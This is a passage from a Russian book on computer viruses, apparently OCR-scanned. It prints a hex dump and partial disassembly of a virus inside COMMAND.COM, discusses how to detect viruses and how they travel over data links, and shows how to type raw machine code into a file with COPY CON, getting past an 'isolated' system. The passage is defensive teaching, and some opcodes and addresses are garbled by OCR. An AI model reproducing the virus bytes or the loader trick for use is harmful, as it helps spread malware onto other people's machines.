- 241 -
этом случае, будет подробно говориться в разделе 15. Вирусы,
скомпилированные вместе со своей программой-носителем, очень
сложны для проверяющих, поскольку вирус и программа-носитель
образуют единую программу. В этом случае дающая стопроцентную
надежность проверка была бы дороже, чем разработка новой
программы. Несколько больше шансов для обнаружения вируса
имеет программист в том случае, когда вирус "прицепился" к
уже существующей программе. В этой ситуации чаще всего удает-
ся четко распознать сам вирус и его программу-носитель. При-
ведем в качестве примера внедрившейся в файл COMMAND.COM ви-
рус, описанный в 9.1:
1AAF:0100 90 90 90 B8 00 00 26 A3-A3 02 26 A3 A5 02 26 A2
. . . 8 . . & # # . & # % . & "
1AAF:0110 A7 02 B4 19 CD 21 2E A2-FA 02 B4 47 B6 00 04 01
' . 4 . M ! . " Z . 4 G 6 . . .
1AAF:0120 8A D0 8D 36 FC 02 CD 21-B4 0E B2 00 CD 21 3C 01
. P . 6 | . M ! 4 . 2 . M ! < .
1AAF:0130 75 02 BD 06 B4 00 8D 1E-9B 02 03 D8 83 C3 01 2E
u . 0 . 4 . . . . . . X . C . .
1AAF:0140 89 1E A3 02 F8 73 21 B4-17 8D 16 B0 02 CD 21 3C
. . # . x s ! 4 . . . 0 . M ! <
1AAF:0150 FF 75 15 B4 2C CD 21 2E-8B 1E A3 02 2E 8A 07 8B
. u . 4 , M ! . . . # . . . . .
1AAF:0160 DA B9 02 00 B6 00 CD 26-2E 8B 1E A3 02 4B 2E 89
Z 9 . . 6 . M & . . . # . K . .
1AAF:0170 1E A3 02 2E 8A 17 80 FA-FF 75 03 E9 00 01 B4 0E
. # . . . . . z . u . i . . 4 .
1AAF:0180 CD 21 B4 3B 8D 16 F8 02-CD 21 EB 54 90 B4 17 8D
M ! 4 ; . . x . M ! k T . 4 . .
1AAF:0190 16 BD 02 CD 21 B4 3B 8D-16 F8 02 CD 21 B4 4E B9
. 0 . M ! 4 ; . . x . M ! 4 N 9
1AAF:01A0 11 00 8D 16 AE 02 CD 21-72 9B 2E 8B 1E A5 02 43
. . . . . . M ! r . . . . % . C
1AAF:01B0 4B 74 09 B4 4F CD 21 72-8C 4B 75 F7 B4 2F CD 21
K t . 4 0 M ! r . R u w 4 / M !
1AAF:01CD 83 C3 1C 26 C7 07 20 5C-43 1E 8C CD 8E D8 8B D3
. C . & G . \ C . . @ . X . S
1AAF:01D0 B4 3B CD 21 1F 2E 8B 1E-A5 02 43 2E 89 1E A5 02
- 242 -
4 ; V ! . . . . % . C . . . % .
1AAF:01E0 B4 4E B9 01 00 8D 16 A8-02 CD 21 72 A0 EB 07 90
4 N 9 . . . . { . M ! r k . .
1AAF:01F0 B4 4F CD 21 72 97 B4 3D-B0 02 BA 9E 00 CD 21 8B
4 0 M ! r . 4 = 0 . : . . M ! .
1AAF:0200 D8 B4 3F B9 30 02 90 BF-00 E0 90 CD 21 B4 3E CD
X 4 ? 9 0 . . : . . M ! 4 M
1AAF:0210 21 2E 8B 1E 00 E0 81 FB-90 90 74 D4 B4 43 B0 00
! . . . . ` . { . . t T 4 C 0 .
1AAF:0220 BA 9E 00 CD 21 B4 43 B0-01 81 E1 FE 00 CD 21 B4
: . . M ! 4 C 0 . . a ~ . M ! 4
1AAF:0230 3D B0 02 BA 9E 00 CD 21-8B D8 B4 57 B0 00 CD 21
= 0 . : . . M ! . X 4 W 0 . M !
1AAF:0240 51 52 2E 8B 16 83 02 2E-89 16 30 E2 2E 8B 16 01
Q R . . . . . . . . 0 b . . . .
1AAF:0250 E0 8D 0E 82 01 2B D1 2E-89 16 83 02 B4 40 B9 30
` . . . . + Q . . . . . 4 @ 9 0
1AAF:0260 02 90 8D 16 00 01 CD 21-B4 57 B0 01 5A 59 CD 21
. . . . . . M ! 4 W 0 . Z Y M !
1AAF:0270 B4 3E CD 21 2E 8B 16 30-E2 2E 89 16 83 02 90 E8
4 M ! . . . 0 b . . . . . . h
1AAF:0280 07 00 E9 2B 0B B4 00 CD-21 B4 0E 2E 8A 16 FA 02
. . i + . 4 . M ! 4 . . . . z .
1AAF:0290 CD 21 B4 3B 8D 16 FB 02-CD 21 C3 FF 01 00 02 03
M ! 4 ; . . { . M ! C . . . . .
1AAF:02A0 FF 00 FF 9C 02 00 00 00-2A 2E 63 6F 6D 00 2A 00
. . . . . . . . z . c o m . z .
1AAF:02B0 FF 00 00 00 00 00 3F 00-3F 3F 3F 3F 3F 3F 3F 3F
. . . . . . ? . ? ? ? ? ? ? ? ?
1AAF:02C0 65 78 65 00 00 00 00 00-3F 3F 3F 3F 3F 3F 3F 3F
e x e . . . . . ? ? ? ? ? ? ? ?
1AAF:02D0 63 6F 6D 00 FF 00 00 00-00 00 3F 00 3F 3F 3F 3F
c o m . . . . . . . ? . ? ? ? ?
1AAF:02E0 3F 3F 3F 3F 3F 3F 3F 00-00 00 00 00 3F 3F 3F 3F
? ? ? ? ? ? ? . . . . . ? ? ? ?
1AAF:02F0 3F 3F 3F 3F 63 6F 6D 00-5C 00 01 5C 00 00 00 00
? ? ? ? c o m . \ . . \ . . . .
1AAF:0300 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
. . . . . . . . . . . . . . . .
- 243 -
1AAF:0310 00 00 00 00 00 00 00 00-00 00 00 00 00 38 CD 21
. . . . . . . . . . . . . 8 M !
1AAF:0320 58 2B 06 25 3E 53 BB 10-00 F7 E3 5B 0B D2 74 03
X + . . > S ; . . w c [ . R t .
1AAF:0330 BF 81 3E 8E 06 B8 0B FC-B9 EF 0C 2B CE F3 A4 A1
? . > . . ; . | 9 o . + N s $ !
1AAF:0340 BF 0B A3 02 00 FF 2E B9-0B E8 01 00 CB 50 53 8B
? . # . . . . 9 . h . . K P S .
1AAF:0350 D8 B8 08 44 CD 21 73 04-0B C0 EB 05 25 01 00 F7
X 8 > D M ! s . . @ k . % . . w
Ясно видно, что в диапазоне 2АО-31С определяются нес-
колько констант, а выше 31Ch структура вновь изменяется. Это
обстоятельсно будет видно более ясно, если дисассемблировать
файл, начиная с адреса 100, и сравнить с сегментом, начиная с
адреса 31С.
По адресу 100 вначале идут три оператора NOP, что по
меньшей мере необычно. К тому же структура программы сравни-
тельно наглядна.
1AAF:0100 90 NOP
1AAF:0101 90 NOP
1AAF:0102 90 NOP
1AAF:0103 BS0000 MOV AX,0000
1AAF:0106 26A3A302 MOV ES: 02A3 ,AX
1AAF:010A 26A3A502 MOV ES: 02A5 ,AX
1AAF:010E 26A2A702 MOV ES: 02A7 ,AL
1AAF:0112 B419 MOV AH,19
1AAF:0114 CD21 INH 21
1AAF:0116 2EA2FA02 MOV CS: 02FA ,AL
1AAF:011A B447 MOV AH,47
1AAF:011C B600 MOV DH,00
1AAF:011E 0401 ADD AL,01
1AAF:0120 8AD0 MOV DL,AL
1AAF:0122 8D36FC02 LEA SI, 02FC
Такие программы имеют совершенно иную структуру, чем
приведенные выше. Однако это не может служить основанием для
того, чтобы сделать окончательные выводы, но в любом случае
- 244 -
каждая такая программа должна быть подвергнута тщательной
проверке прежде, чем ее использовать.
1AAF:031C 0038 AAD BX+SI ,BH
1AAF:031E CD21 INT 21
1AAF:0320 58 POP AX
1AAF:0321 2B06853E SUB AX, 3E85
1AAF:0325 53 PUSH BX
1AAF:0326 BB1000 MOV BX,0010
1AAF:0329 F7E3 MUL BX
1AAF:032B 5B POP BX
1AAF:032C 0BD2 OR DX,DX
1AAF:032E 7403 JZ 0333
1AAF:0330 BF813E MOV D1,3E81
1AAF:0337 FC CLD
1AAF:0338 B9EF0C MOV CX,0CEF
1AAF:033B 2BCE SUB CX,SI
1AAF:033D F3 REPZ
В заключение можно сказать, что при проведении проверки
на наличие вирусов никогда нельзя с полной уверенностью ска-
зать: "Программа свободна от вирусов". А потому вопрос, при-
менять ли такую программу, - это вопрос совести каждого. В
противных случаях дело обстоит значительно проще: если в
программе обнаруживается вирус, программу использовать нель-
зя. Усли при проверке программы обнаружится непонятный или
незадокументированный кусок, использовать такую программу
нельзы до тех пор, пока не будут сняты все вопросы относи-
тельно такого куска.
12.2 Вирусы в системах передачи данных
Хотя в последнее время в специальной прессе ситуацию с
вирусами часто драматизируют, опасность проникновения вирусов
через линии дистанционной передачи данных не больше, чем для
любого другого вида проникновения вирусов. И при использова-
нии линий дистанционной передачи данных нужно соблюдать те
жхе меры предосторожности, которые описаны в разделе 8 и да-
лее. Пока в "почтовый ящик" записываются только тексты или
- 245 -
программы, можно не задумываться над тем, что может возник-
нуть вирус. Опасность возникает лишь тогда, когда появляется
возможность запустить переданную программу. Но такого рода
почтовые ящики автору неизвестны. Поэтому вирус может проник-
нуть в переданную информацию лишь тогда, когда пользователь
запускает переданную через средства дистанционной передачи
данных программу на собственной ЭВМ. А здесь действуют те же
правила безопасности, что и для записанных на дискетах прог-
рамм.
Действительно серьезной опасности подвергаются те ЭВМ,
которые доступны через линии дистанционной передачи данных и
устройства сопряжения для абонентов всех уровней приоритетов.
Но о такой опасности (надо надеяться) знают все пользователи
соответствующих систем.
12.3 Средства изоляции
Для защиты от вирусов разработаны уже самы различные
концепции: Система, оснащенная лишь жестким диском (без дис-
кет), "усеченной" операционной системой (без DEBUG, LINK) и
пр.) и прикладными программами, не позволяющая вводить новые
программы. Но это утверждение, хотя на первый взгляд оно и
кажется логичным, не только неверно, но и опасно, если поль-
зователь, доверившись такой концепции, утратит бдительность.
Теперь читатель может спросить, как же ввести программу в
ЭВМ, если ЭВМ не имеет ни накопителя на гибких магнитных дис-
ках, ни ассемблера, ни отладчика. Решение совершенно очевид-
но. С помощью резидентной функции COPY MS-DOS может скопиро-
вать и любой введенный с клавиатуры файл. Поскольку обычно
вместе с клавишей ALT могут вводиться не все коды ASCII, нуж-
но вначале сгенерировать входную программу, воспользовавшись
следующей командой:
COPY CON INH.COM
(Десятичные числа вводить при нажатой клавише ALT).
049 192 162 064 001 180 060 185
032 032 186 057 001 205 033 080
187 065 002 184 007 012 178 255
- 246 -
205 033 136 007 067 129 251 093
004 117 240 088 137 195 180 064
185 028 002 186 065 002 205 033
180 062 144 205 033 180 076 205